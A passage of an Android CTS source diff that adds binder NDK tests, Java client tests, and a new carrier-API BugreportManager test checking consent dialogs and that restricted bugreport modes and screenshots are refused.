+  AIBinder_Weak_delete(copy);
+  AIBinder_decStrong(promoted);
+  AIBinder_decStrong(binder);
+}
+
+TEST_F(NdkBinderTest_AIBinder, WeakPointerCloneNoPromote) {
+  AIBinder* binder = SampleData::newBinder();
+  AIBinder_Weak* weak = AIBinder_Weak_new(binder);
+  AIBinder_Weak* copy = AIBinder_Weak_clone(weak);
+  AIBinder_Weak_delete(weak);
+
+  AIBinder_decStrong(binder);
+
+  AIBinder* promoted = AIBinder_Weak_promote(weak);
+  EXPECT_EQ(nullptr, promoted);
+
+  AIBinder_Weak_delete(copy);
+}
+
+TEST_F(NdkBinderTest_AIBinder, BinderEqual) {
+  AIBinder* binder = SampleData::newBinder();
+
+  EXPECT_FALSE(AIBinder_lt(binder, binder));
+
+  AIBinder_decStrong(binder);
+}
+
+TEST_F(NdkBinderTest_AIBinder, BinderNotEqual) {
+  AIBinder* b1 = SampleData::newBinder();
+  AIBinder* b2 = SampleData::newBinder();
+
+  EXPECT_NE(AIBinder_lt(b1, b2), AIBinder_lt(b2, b1));
+
+  AIBinder_decStrong(b2);
+  AIBinder_decStrong(b1);
+}
+
+TEST_F(NdkBinderTest_AIBinder, WeakPointerEqual) {
+  AIBinder* binder = SampleData::newBinder();
+  AIBinder_Weak* weak1 = AIBinder_Weak_new(binder);
+  AIBinder_Weak* weak2 = AIBinder_Weak_new(binder);
+
+  // doesn't need to be promotable to remember ordering
+  AIBinder_decStrong(binder);
+
+  // they are different objects
+  EXPECT_NE(weak1, weak2);
+
+  // they point to the same binder
+  EXPECT_FALSE(AIBinder_Weak_lt(weak1, weak2));
+  EXPECT_FALSE(AIBinder_Weak_lt(weak2, weak1));
+
+  AIBinder_Weak_delete(weak1);
+  AIBinder_Weak_delete(weak2);
+}
+
+TEST_F(NdkBinderTest_AIBinder, WeakPointerNotEqual) {
+  AIBinder* b1 = SampleData::newBinder();
+  AIBinder_Weak* w1 = AIBinder_Weak_new(b1);
+  AIBinder* b2 = SampleData::newBinder();
+  AIBinder_Weak* w2 = AIBinder_Weak_new(b2);
+
+  bool b1ltb2 = AIBinder_lt(b1, b2);
+
+  // doesn't need to be promotable to remember ordering
+  AIBinder_decStrong(b2);
+  AIBinder_decStrong(b1);
+
+  EXPECT_EQ(b1ltb2, AIBinder_Weak_lt(w1, w2));
+  EXPECT_EQ(!b1ltb2, AIBinder_Weak_lt(w2, w1));
+
+  AIBinder_Weak_delete(w1);
+  AIBinder_Weak_delete(w2);
 }
 
 TEST_F(NdkBinderTest_AIBinder, LocalIsLocal) {
@@ -368,6 +454,13 @@
 
   EXPECT_EQ(nullptr, AIBinder_DeathRecipient_new(nullptr));
 
+  EXPECT_EQ(nullptr, AIBinder_Weak_clone(nullptr));
+
+  AIBinder_Weak* weak = AIBinder_Weak_new(binder);
+  EXPECT_TRUE(AIBinder_Weak_lt(nullptr, weak));
+  EXPECT_FALSE(AIBinder_Weak_lt(weak, nullptr));
+  AIBinder_Weak_delete(weak);
+
   // Does not crash
   AIBinder_DeathRecipient_delete(nullptr);
 
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/test_native_aidl_client.cpp b/tests/tests/binder_ndk/libbinder_ndk_test/test_native_aidl_client.cpp
index e346e2b..9d57674 100644
--- a/tests/tests/binder_ndk/libbinder_ndk_test/test_native_aidl_client.cpp
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/test_native_aidl_client.cpp
@@ -414,6 +414,25 @@
 
 TEST_P(NdkBinderTest_Aidl, RepeatFd) { checkFdRepeat(iface, &ITest::RepeatFd); }
 
+TEST_P(NdkBinderTest_Aidl, RepeatFdNull) {
+  ScopedFileDescriptor fd;
+  // FD is different from most types because the standard type used to represent
+  // it can also contain a null value (this is why many other types don't have
+  // 'null' tests for the non-@nullable Repeat* functions).
+  //
+  // Even worse, these are default initialized to this value, so it's a pretty
+  // common error:
+  EXPECT_EQ(fd.get(), -1);
+  ScopedFileDescriptor out;
+
+  if (shouldBeWrapped) {
+    ASSERT_EQ(STATUS_UNEXPECTED_NULL, AStatus_getStatus(iface->RepeatFd(fd, &out).get()));
+  } else {
+    // another in/out-process difference
+    ASSERT_OK(iface->RepeatFd(fd, &out));
+  }
+}
+
 TEST_P(NdkBinderTest_Aidl, RepeatNullableFd) {
   checkFdRepeat(iface, &ITest::RepeatNullableFd);
 
@@ -455,6 +474,27 @@
   EXPECT_EQ("say what?", *res);
 }
 
+TEST_P(NdkBinderTest_Aidl, ParcelableOrder) {
+  RegularPolygon p1 = {"A", 1, 1.0f};
+
+  // tests on self
+  EXPECT_EQ(p1, p1);
+  EXPECT_LE(p1, p1);
+  EXPECT_GE(p1, p1);
+  EXPECT_FALSE(p1 < p1);
+  EXPECT_FALSE(p1 > p1);
+
+  RegularPolygon p2 = {"A", 2, 1.0f};
+  RegularPolygon p3 = {"B", 1, 1.0f};
+  for (const auto& bigger : {p2, p3}) {
+    EXPECT_FALSE(p1 == bigger);
+    EXPECT_LE(p1, bigger);
+    EXPECT_GE(bigger, p1);
+    EXPECT_LT(p1, bigger);
+    EXPECT_GT(bigger, p1);
+  }
+}
+
 TEST_P(NdkBinderTest_Aidl, ParcelableDefaults) {
   RegularPolygon polygon;
 
@@ -530,28 +570,6 @@
   EXPECT_EQ(15, retF);
 }
 
-namespace aidl {
-namespace test_package {
-bool operator==(const SimpleUnion& lhs, const SimpleUnion& rhs) {
-  if (lhs.getTag() != rhs.getTag()) return false;
-  switch (lhs.getTag()) {
-    case SimpleUnion::a:
-      return lhs.get<SimpleUnion::a>() == rhs.get<SimpleUnion::a>();
-    case SimpleUnion::b:
-      return lhs.get<SimpleUnion::b>() == rhs.get<SimpleUnion::b>();
-    case SimpleUnion::c:
-      return lhs.get<SimpleUnion::c>() == rhs.get<SimpleUnion::c>();
-    case SimpleUnion::d:
-      return lhs.get<SimpleUnion::d>() == rhs.get<SimpleUnion::d>();
-    case SimpleUnion::e:
-      return lhs.get<SimpleUnion::e>() == rhs.get<SimpleUnion::e>();
-    case SimpleUnion::f:
-      return lhs.get<SimpleUnion::f>() == rhs.get<SimpleUnion::f>();
-  }
-}
-}  // namespace test_package
-}  // namespace aidl
-
 TEST_P(NdkBinderTest_Aidl, RepeatFoo) {
   Foo foo;
   foo.a = "NEW FOO";
@@ -606,22 +624,6 @@
 using RepeatMethod = ScopedAStatus (ITest::*)(const std::vector<T>&,
                                               std::vector<T>*, std::vector<T>*);
 
-namespace aidl {
-namespace test_package {
-inline bool operator==(const RegularPolygon& lhs, const RegularPolygon& rhs) {
-  return lhs.name == rhs.name && lhs.numSides == rhs.numSides && lhs.sideLength == rhs.sideLength;
-}
-inline bool operator==(const std::vector<RegularPolygon>& lhs,
-                       const std::vector<RegularPolygon>& rhs) {
-  if (lhs.size() != rhs.size()) return false;
-  for (size_t i = 0; i < lhs.size(); i++) {
-    if (!(lhs[i] == rhs[i])) return false;
-  }
-  return true;
-}
-}  // namespace test_package
-}  // namespace aidl
-
 template <typename T>
 void testRepeat(const std::shared_ptr<ITest>& i, RepeatMethod<T> repeatMethod,
                 std::vector<std::vector<T>> tests) {
@@ -964,7 +966,8 @@
   myext1.a = 42;
   myext1.b = "mystr";
   ep.ext.setParcelable(myext1);
-  std::unique_ptr<MyExt> myext2 = ep.ext.getParcelable<MyExt>();
+  std::optional<MyExt> myext2;
+  ep.ext.getParcelable(&myext2);
   EXPECT_TRUE(myext2);
   EXPECT_EQ(42, myext2->a);
   EXPECT_EQ("mystr", myext2->b);
@@ -974,7 +977,8 @@
   AParcel_setDataPosition(parcel, 0);
   ExtendableParcelable ep2;
   ep2.readFromParcel(parcel);
-  std::unique_ptr<MyExt> myext3 = ep2.ext.getParcelable<MyExt>();
+  std::optional<MyExt> myext3;
+  ep2.ext.getParcelable(&myext3);
   EXPECT_TRUE(myext3);
   EXPECT_EQ(42, myext3->a);
   EXPECT_EQ("mystr", myext3->b);
@@ -990,7 +994,8 @@
 
   ExtendableParcelable ep2;
   EXPECT_OK(iface->RepeatExtendableParcelable(ep, &ep2));
-  std::unique_ptr<MyExt> myext2 = ep2.ext.getParcelable<MyExt>();
+  std::optional<MyExt> myext2;
+  ep2.ext.getParcelable(&myext2);
   EXPECT_EQ(42L, ep2.c);
   EXPECT_TRUE(myext2);
   EXPECT_EQ(42, myext2->a);
diff --git a/tests/tests/binder_ndk/src/android/binder/cts/JavaClientTest.java b/tests/tests/binder_ndk/src/android/binder/cts/JavaClientTest.java
index 2d57d82..d380647 100644
--- a/tests/tests/binder_ndk/src/android/binder/cts/JavaClientTest.java
+++ b/tests/tests/binder_ndk/src/android/binder/cts/JavaClientTest.java
@@ -108,9 +108,19 @@
     }
 
     @Test
-    public void testTrivial() throws RemoteException {
+    public void testVoidReturn() throws RemoteException {
         mInterface.TestVoidReturn();
-        mInterface.TestOneway();
+    }
+
+    @Test
+    public void testOneway() throws RemoteException {
+        boolean isLocalJava = !mShouldBeRemote && mExpectedName == "JAVA";
+        try {
+            mInterface.TestOneway();
+            assertFalse("local Java should throw exception", isLocalJava);
+        } catch (RemoteException e) {
+            assertTrue("only local Java should report error", isLocalJava);
+        }
     }
 
     private void checkDump(String expected, String[] args) throws RemoteException, IOException {
@@ -225,6 +235,18 @@
     }
 
     @Test
+    public void testRepeatFdNull() throws RemoteException {
+        boolean isNativeRemote = mInterface.GetName().equals("CPP");
+
+        try {
+            mInterface.RepeatFd(null);
+            assertFalse("Native shouldn't accept null here", isNativeRemote);
+        } catch (java.lang.NullPointerException e) {
+            assertTrue("Java should accept null here", isNativeRemote);
+        }
+    }
+
+    @Test
     public void testRepeatNullableFd() throws RemoteException, IOException {
         checkFdRepeated((fd) -> mInterface.RepeatNullableFd(fd));
         assertEquals(null, mInterface.RepeatNullableFd(null));
diff --git a/tests/tests/binder_ndk/src/android/binder/cts/TestImpl.java b/tests/tests/binder_ndk/src/android/binder/cts/TestImpl.java
index d16e8a7..04f0b3e 100644
--- a/tests/tests/binder_ndk/src/android/binder/cts/TestImpl.java
+++ b/tests/tests/binder_ndk/src/android/binder/cts/TestImpl.java
@@ -53,7 +53,9 @@
   public void TestVoidReturn() {}
 
   @Override
-  public void TestOneway() {}
+  public void TestOneway() throws RemoteException {
+    throw new RemoteException("Oneway call errors should be ignored");
+  }
 
   @Override
   public int GiveMeMyCallingPid() {
diff --git a/tests/tests/carrierapi/Android.bp b/tests/tests/carrierapi/Android.bp
index 0eac60e..6a191eae 100644
--- a/tests/tests/carrierapi/Android.bp
+++ b/tests/tests/carrierapi/Android.bp
@@ -16,9 +16,11 @@
     name: "CtsCarrierApiTestCases",
     defaults: ["cts_defaults"],
     static_libs: [
+        "androidx.test.uiautomator_uiautomator",
         "ctstestrunner-axt",
         "compatibility-device-util-axt",
         "junit",
+        "truth-prebuilt",
     ],
     srcs: ["src/**/*.java"],
     sdk_version: "test_current",
diff --git a/tests/tests/carrierapi/src/android/carrierapi/cts/BugreportManagerTest.java b/tests/tests/carrierapi/src/android/carrierapi/cts/BugreportManagerTest.java
new file mode 100644
index 0000000..f1a5267
--- /dev/null
+++ b/tests/tests/carrierapi/src/android/carrierapi/cts/BugreportManagerTest.java
@@ -0,0 +1,463 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.carrierapi.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.os.BugreportManager;
+import android.os.BugreportManager.BugreportCallback;
+import android.os.BugreportParams;
+import android.os.FileUtils;
+import android.os.ParcelFileDescriptor;
+import android.telephony.TelephonyManager;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.BySelector;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.UiObject2;
+import androidx.test.uiautomator.Until;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.TestName;
+import org.junit.runner.RunWith;
+
+import java.io.File;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Unit tests for {@link BugreportManager}'s carrier functionality, specifically "connectivity"
+ * bugreports.
+ *
+ * <p>Structure is largely adapted from
+ * frameworks/base/core/tests/bugreports/.../BugreportManagerTest.java.
+ *
+ * <p>Test using `atest CtsCarrierApiTestCases:BugreportManagerTest` or `make cts -j64 &&
+ * cts-tradefed run cts -m CtsCarrierApiTestCases --test
+ * android.carrierapi.cts.BugreportManagerTest`
+ */
+@RunWith(AndroidJUnit4.class)
+public class BugreportManagerTest {
+    private static final String TAG = "BugreportManagerTest";
+
+    private static final long BUGREPORT_TIMEOUT_MILLIS = TimeUnit.MINUTES.toMillis(10);
+    private static final long UIAUTOMATOR_TIMEOUT_MILLIS = TimeUnit.SECONDS.toMillis(10);
+    // This value is defined in dumpstate.cpp:TELEPHONY_REPORT_USER_CONSENT_TIMEOUT_MS. Because the
+    // consent dialog is so large and important, the user *must* be given at least 2 minutes to read
+    // it before it times out.
+    private static final long MINIMUM_CONSENT_TIMEOUT_MILLIS = TimeUnit.MINUTES.toMillis(2);
+
+    private static final BySelector CONSENT_DIALOG_TITLE_SELECTOR = By.res("android", "alertTitle");
+
+    @Rule public TestName name = new TestName();
+
+    private TelephonyManager mTelephonyManager;
+    private BugreportManager mBugreportManager;
+    private File mBugreportFile;
+    private ParcelFileDescriptor mBugreportFd;
+    private File mScreenshotFile;
+    private ParcelFileDescriptor mScreenshotFd;
+
+    @Before
+    public void setUp() throws Exception {
+        Context context = InstrumentationRegistry.getContext();
+        // Bail out if no cellular support.
+        assumeTrue(
+                "No cellular support, CarrierAPI.BugreportManagerTest cases will be skipped",
+                context.getPackageManager().hasSystemFeature(PackageManager.FEATURE_TELEPHONY));
+        // Fail the test if we don't have carrier privileges.
+        mTelephonyManager = context.getSystemService(TelephonyManager.class);
+        assertWithMessage(
+                        "This test requires a SIM card with carrier privilege rules on it.\n"
+                                + "Visit https://source.android.com/devices/tech/config/uicc.html")
+                .that(mTelephonyManager.hasCarrierPrivileges())
+                .isTrue();
+        mBugreportManager = context.getSystemService(BugreportManager.class);
+
+        mBugreportFile = createTempFile("bugreport_" + name.getMethodName(), ".zip");
+        mBugreportFd = parcelFd(mBugreportFile);
+        // Should never be written for anything a carrier app can trigger; several tests assert that
+        // this file has no content.
+        mScreenshotFile = createTempFile("screenshot_" + name.getMethodName(), ".png");
+        mScreenshotFd = parcelFd(mScreenshotFile);
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        FileUtils.closeQuietly(mBugreportFd);
+        FileUtils.closeQuietly(mScreenshotFd);
+    }
+
+    @Test
+    public void startConnectivityBugreport() throws Exception {
+        BugreportCallbackImpl callback = new BugreportCallbackImpl();
+
+        mBugreportManager.startConnectivityBugreport(mBugreportFd, Runnable::run, callback);
+        setConsentDialogReply(ConsentReply.ALLOW);
+        waitUntilDoneOrTimeout(callback);
+
+        assertThat(callback.isSuccess()).isTrue();
+        assertThat(callback.hasReceivedProgress()).isTrue();
+        assertThat(mBugreportFile.length()).isGreaterThan(0L);
+        assertFdIsClosed(mBugreportFd);
+    }
+
+    @Test
+    public void startConnectivityBugreport_consentDenied() throws Exception {
+        BugreportCallbackImpl callback = new BugreportCallbackImpl();
+
+        mBugreportManager.startConnectivityBugreport(mBugreportFd, Runnable::run, callback);
+        setConsentDialogReply(ConsentReply.DENY);
+        waitUntilDoneOrTimeout(callback);
+
+        assertThat(callback.getErrorCode())
+                .isEqualTo(BugreportCallback.BUGREPORT_ERROR_USER_DENIED_CONSENT);
+        assertThat(callback.hasReceivedProgress()).isTrue();
+        assertThat(mBugreportFile.length()).isEqualTo(0L);
+        assertFdIsClosed(mBugreportFd);
+    }
+
+    @Test
+    public void startConnectivityBugreport_consentTimeout() throws Exception {
+        BugreportCallbackImpl callback = new BugreportCallbackImpl();
+        long startTimeMillis = System.currentTimeMillis();
+
+        mBugreportManager.startConnectivityBugreport(mBugreportFd, Runnable::run, callback);
+        setConsentDialogReply(ConsentReply.NONE_TIMEOUT);
+        waitUntilDoneOrTimeout(callback);
+
+        assertThat(callback.getErrorCode())
+                .isEqualTo(BugreportCallback.BUGREPORT_ERROR_USER_CONSENT_TIMED_OUT);
+        assertThat(callback.hasReceivedProgress()).isTrue();
+        assertThat(mBugreportFile.length()).isEqualTo(0L);
+        assertFdIsClosed(mBugreportFd);
+        // Ensure the dialog was displaying long enough.
+        assertThat(System.currentTimeMillis() - startTimeMillis)
+                .isAtLeast(MINIMUM_CONSENT_TIMEOUT_MILLIS);
+        // The dialog may still be displaying, dismiss it if so.
+        dismissConsentDialogIfPresent();
+    }
+
+    @Test
+    public void simultaneousBugreportsNotAllowed() throws Exception {
+        BugreportCallbackImpl callback1 = new BugreportCallbackImpl();
+        BugreportCallbackImpl callback2 = new BugreportCallbackImpl();
+        File bugreportFile2 = createTempFile("bugreport_2_" + name.getMethodName(), ".zip");
+        ParcelFileDescriptor bugreportFd2 = parcelFd(bugreportFile2);
+
+        // Start the first report, but don't accept the consent dialog or wait for the callback to
+        // complete yet.
+        mBugreportManager.startConnectivityBugreport(mBugreportFd, Runnable::run, callback1);
+
+        // Attempting to start a second report immediately gets us a concurrency error.
+        mBugreportManager.startConnectivityBugreport(bugreportFd2, Runnable::run, callback2);
+        assertThat(callback2.getErrorCode())
+                .isEqualTo(BugreportCallback.BUGREPORT_ERROR_ANOTHER_REPORT_IN_PROGRESS);
+
+        // Now wait for the first report to complete normally.
+        setConsentDialogReply(ConsentReply.ALLOW);
+        waitUntilDoneOrTimeout(callback1);
+
+        assertThat(callback1.isSuccess()).isTrue();
+        assertThat(callback1.hasReceivedProgress()).isTrue();
+        assertThat(mBugreportFile.length()).isGreaterThan(0L);
+        assertFdIsClosed(mBugreportFd);
+        // The second report never got any details filled in.
+        assertThat(callback2.hasReceivedProgress()).isFalse();
+        assertThat(bugreportFile2.length()).isEqualTo(0L);
+        assertFdIsClosed(bugreportFd2);
+    }
+
+    @Test
+    public void cancelBugreport() throws Exception {
+        BugreportCallbackImpl callback = new BugreportCallbackImpl();
+
+        // Start the report, but don't accept the consent dialog or wait for the callback to
+        // complete yet.
+        mBugreportManager.startConnectivityBugreport(mBugreportFd, Runnable::run, callback);
+
+        assertThat(callback.isDone()).isFalse();
+
+        // Cancel and wait for the final result.
+        mBugreportManager.cancelBugreport();
+        waitUntilDoneOrTimeout(callback);
+
+        assertThat(callback.getErrorCode()).isEqualTo(BugreportCallback.BUGREPORT_ERROR_RUNTIME);
+        assertThat(mBugreportFile.length()).isEqualTo(0L);
+        assertFdIsClosed(mBugreportFd);
+    }
+
+    @Test
+    public void startBugreport_connectivityBugreport() throws Exception {
+        BugreportCallbackImpl callback = new BugreportCallbackImpl();
+
+        // Carrier apps that compile with the system SDK have visibility to use this API, so we need
+        // to enforce that the additional parameters can't be abused to e.g. surreptitiously capture
+        // screenshots.
+        mBugreportManager.startBugreport(
+                mBugreportFd,
+                mScreenshotFd,
+                new BugreportParams(BugreportParams.BUGREPORT_MODE_TELEPHONY),
+                Runnable::run,
+                callback);
+        setConsentDialogReply(ConsentReply.ALLOW);
+        waitUntilDoneOrTimeout(callback);
+
+        assertThat(callback.isSuccess()).isTrue();
+        assertThat(callback.hasReceivedProgress()).isTrue();
+        assertThat(mBugreportFile.length()).isGreaterThan(0L);
+        assertFdIsClosed(mBugreportFd);
+        // Screenshots are never captured for connectivity bugreports, even if an FD is passed in.
+        assertThat(mScreenshotFile.length()).isEqualTo(0L);
+        assertFdIsClosed(mScreenshotFd);
+    }
+
+    @Test
+    public void startBugreport_fullBugreport() throws Exception {
+        assertSecurityExceptionThrownForMode(BugreportParams.BUGREPORT_MODE_FULL);
+    }
+
+    @Test
+    public void startBugreport_interactiveBugreport() throws Exception {
+        assertSecurityExceptionThrownForMode(BugreportParams.BUGREPORT_MODE_INTERACTIVE);
+    }
+
+    @Test
+    public void startBugreport_remoteBugreport() throws Exception {
+        assertSecurityExceptionThrownForMode(BugreportParams.BUGREPORT_MODE_REMOTE);
+    }
+
+    @Test
+    public void startBugreport_wearBugreport() throws Exception {
+        assertSecurityExceptionThrownForMode(BugreportParams.BUGREPORT_MODE_WEAR);
+    }
+
+    @Test
+    public void startBugreport_wifiBugreport() throws Exception {
+        assertSecurityExceptionThrownForMode(BugreportParams.BUGREPORT_MODE_WIFI);
+    }
+
+    @Test
+    public void startBugreport_defaultBugreport() throws Exception {
+        // BUGREPORT_MODE_DEFAULT (6) is defined by the AIDL, but isn't accepted by
+        // BugreportManagerServiceImpl or exposed in BugreportParams.
+        assertExceptionThrownForMode(6, IllegalArgumentException.class);
+    }
+
+    @Test
+    public void startBugreport_negativeMode() throws Exception {
+        assertExceptionThrownForMode(-1, IllegalArgumentException.class);
+    }
+
+    @Test
+    public void startBugreport_invalidMode() throws Exception {
+        // Current max is BUGREPORT_MODE_DEFAULT (6) as defined by the AIDL.
+        assertExceptionThrownForMode(7, IllegalArgumentException.class);
+    }
+
+    /* Implementatiion of {@link BugreportCallback} that offers wrappers around execution result */
+    private static final class BugreportCallbackImpl extends BugreportCallback {
+        private int mErrorCode = -1;
+        private boolean mSuccess = false;
+        private boolean mReceivedProgress = false;
+        private boolean mEarlyReportFinished = false;
+        private final Object mLock = new Object();
+
+        @Override
+        public synchronized void onProgress(float progress) {
+            mReceivedProgress = true;
+        }
+
+        @Override
+        public synchronized void onError(int errorCode) {
+            Log.d(TAG, "Bugreport errored");
+            mErrorCode = errorCode;
+        }
+
+        @Override
+        public synchronized void onFinished() {
+            Log.d(TAG, "Bugreport finished");
+            mSuccess = true;
+        }
+
+        @Override
+        public synchronized void onEarlyReportFinished() {
+            mEarlyReportFinished = true;
+        }
+
+        /* Indicates completion; and ended up with a success or error. */
+        public synchronized boolean isDone() {
+            return (mErrorCode != -1) || mSuccess;
+        }
+
+        public synchronized int getErrorCode() {
+            return mErrorCode;
+        }
+
+        public synchronized boolean isSuccess() {
+            return mSuccess;
+        }
+
+        public synchronized boolean hasReceivedProgress() {
+            return mReceivedProgress;
+        }
+
+        public synchronized boolean hasEarlyReportFinished() {
+            return mEarlyReportFinished;
+        }
+    }
+
+    /** Allow/deny the consent dialog to sharing bugreport data, or just check existence. */
+    private enum ConsentReply {
+        // Touch the positive button.
+        ALLOW,
+        // Touch the negative button.
+        DENY,
+        // Just verify that the dialog has appeared, but make no touches.
+        NONE_TIMEOUT,
+    }
+
+    private void setConsentDialogReply(ConsentReply consentReply) throws Exception {
+        UiDevice device = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+
+        // No need to wake + dismiss keyguard here; CTS respects our DISABLE_KEYGUARD permission.
+        if (!device.wait(
+                Until.hasObject(CONSENT_DIALOG_TITLE_SELECTOR), UIAUTOMATOR_TIMEOUT_MILLIS)) {
+            fail("The consent dialog can't be found");
+        }
+
+        final BySelector replySelector;
+        switch (consentReply) {
+            case ALLOW:
+                Log.d(TAG, "Allow the consent dialog");
+                replySelector = By.res("android", "button1");
+                break;
+            case DENY:
+                Log.d(TAG, "Deny the consent dialog");
+                replySelector = By.res("android", "button2");
+                break;
+            case NONE_TIMEOUT:
+            default:
+                // Not making a choice, just leave the dialog up now that we know it exists. It will
+                // eventually time out, but we don't wait for that here.
+                return;
+        }
+        UiObject2 replyButton = device.findObject(replySelector);
+        assertWithMessage("The button of consent dialog is not found")
+                .that(replyButton)
+                .isNotNull();
+        replyButton.click();
+
+        assertThat(
+                        device.wait(
+                                Until.gone(CONSENT_DIALOG_TITLE_SELECTOR),
+                                UIAUTOMATOR_TIMEOUT_MILLIS))
+                .isTrue();
+    }
+
+    private void dismissConsentDialogIfPresent() throws Exception {
+        UiDevice device = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+
+        if (!device.hasObject(CONSENT_DIALOG_TITLE_SELECTOR)) {
+            return;
+        }
+
+        Log.d(
+                TAG,
+                "Consent dialog still present on the screen even though report finished,"
+                        + " dismissing it");
+        device.pressBack();
+        assertThat(
+                        device.wait(
+                                Until.gone(CONSENT_DIALOG_TITLE_SELECTOR),
+                                UIAUTOMATOR_TIMEOUT_MILLIS))
+                .isTrue();
+    }
+
+    private static void waitUntilDoneOrTimeout(BugreportCallbackImpl callback) throws Exception {
+        long startTimeMillis = System.currentTimeMillis();
+        while (!callback.isDone()) {
+            Thread.sleep(1000);
+            if (System.currentTimeMillis() - startTimeMillis >= BUGREPORT_TIMEOUT_MILLIS) {
+                Log.w(TAG, "Timed out waiting for bugreport completion");
+                break;
+            }
+            Log.d(TAG, "Waited " + (System.currentTimeMillis() - startTimeMillis + "ms"));
+        }
+    }
+
+    private void assertSecurityExceptionThrownForMode(int mode) {
+        assertExceptionThrownForMode(mode, SecurityException.class);
+    }
+
+    private <T extends Throwable> void assertExceptionThrownForMode(
+            int mode, Class<T> exceptionType) {
+        BugreportCallbackImpl callback = new BugreportCallbackImpl();
+        try {
+            mBugreportManager.startBugreport(
+                    mBugreportFd,
+                    mScreenshotFd,
+                    new BugreportParams(mode),
+                    Runnable::run,
+                    callback);
+            fail("BugreportMode " + mode + " should cause " + exceptionType.getSimpleName());
+        } catch (Throwable thrown) {
+            if (!exceptionType.isInstance(thrown)) {
+                throw thrown;
+            }
+        }
+
+        assertThat(callback.isDone()).isFalse();
+        assertThat(callback.hasReceivedProgress()).isFalse();
+        assertThat(mBugreportFile.length()).isEqualTo(0L);
+        assertFdIsClosed(mBugreportFd);
+        assertThat(mScreenshotFile.length()).isEqualTo(0L);
+        assertFdIsClosed(mScreenshotFd);
+    }
+
+    private static File createTempFile(String prefix, String extension) throws Exception {
+        File f = File.createTempFile(prefix, extension);
+        f.setReadable(true, true);
+        f.setWritable(true, true);
+        f.deleteOnExit();
+        return f;
+    }
+
+    private static ParcelFileDescriptor parcelFd(File file) throws Exception {
+        return ParcelFileDescriptor.open(
+                file, ParcelFileDescriptor.MODE_WRITE_ONLY | ParcelFileDescriptor.MODE_APPEND);
+    }
+
+    private static void assertFdIsClosed(ParcelFileDescriptor pfd) {
+        try {
+            int fd = pfd.getFd();
+            fail("Expected ParcelFileDescriptor argument to be closed, but got: " + fd);
+        } catch (IllegalStateException expected) {
+        }
+    }
+}
diff --git a/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_SimContactTest.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_SimContactTest.java
index 9c36028..3b1d025 100644
--- a/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_SimContactTest.java
+++ b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_SimContactTest.java
@@ -23,18 +23,23 @@
 import android.content.Context;
 import android.content.Intent;
 import android.content.IntentFilter;
+import android.os.SystemClock;
 import android.provider.ContactsContract.SimAccount;
 import android.provider.ContactsContract.SimContacts;
 import android.test.AndroidTestCase;
 import android.test.suitebuilder.annotation.MediumTest;
 
 import com.android.compatibility.common.util.SystemUtil;
+import com.android.compatibility.common.util.TestUtils;
 
 import java.util.ArrayList;
+import java.util.Collections;
 import java.util.List;
 
 @MediumTest
 public class ContactsContract_SimContactTest extends AndroidTestCase {
+    private static final int ASYNC_TIMEOUT_LIMIT_SEC = 60;
+
     // Using unique account name and types because these tests may break or be broken by
     // other tests running.  No other tests should use the following accounts.
     private static final String SIM_ACCT_NAME_1 = "test sim acct name 1";
@@ -47,7 +52,7 @@
 
     private ContentResolver mResolver;
     private List<Intent> mReceivedIntents;
-    private BroadcastReceiver mBroadcastReceiver = new BroadcastReceiver() {
+    private final BroadcastReceiver mBroadcastReceiver = new BroadcastReceiver() {
         @Override
         public void onReceive(Context context, Intent intent) {
             mReceivedIntents.add(intent);
@@ -58,7 +63,7 @@
     protected void setUp() throws Exception {
         super.setUp();
         mResolver = getContext().getContentResolver();
-        mReceivedIntents = new ArrayList<>();
+        mReceivedIntents = Collections.synchronizedList(new ArrayList<>());
     }
 
     @Override
@@ -106,7 +111,7 @@
      * When a SIM account is added, {@link SimContacts#ACTION_SIM_ACCOUNTS_CHANGED} should be
      * broadcast.
      */
-    public void testAddSimAccount_broadcastsChange() {
+    public void testAddSimAccount_broadcastsChange() throws Exception {
         getContext().registerReceiver(mBroadcastReceiver,
                 new IntentFilter(SimContacts.ACTION_SIM_ACCOUNTS_CHANGED));
 
@@ -115,7 +120,8 @@
                     SimAccount.ADN_EF_TYPE);
         });
 
-        assertThat(mReceivedIntents).hasSize(1);
+        TestUtils.waitUntil("Broadcast has not been received in time", ASYNC_TIMEOUT_LIMIT_SEC,
+                () -> mReceivedIntents.size() == 1);
         Intent receivedIntent = mReceivedIntents.get(0);
         assertThat(SimContacts.ACTION_SIM_ACCOUNTS_CHANGED).isEqualTo(receivedIntent.getAction());
     }
@@ -124,7 +130,7 @@
      * When a SIM account is removed, {@link SimContacts#ACTION_SIM_ACCOUNTS_CHANGED} should be
      * broadcast.
      */
-    public void testRemoveSimAccount_broadcastsChange() {
+    public void testRemoveSimAccount_broadcastsChange() throws Exception {
         SystemUtil.runWithShellPermissionIdentity(() -> {
             SimContacts.addSimAccount(mResolver, SIM_ACCT_NAME_1, SIM_ACCT_TYPE_1, SIM_SLOT_0,
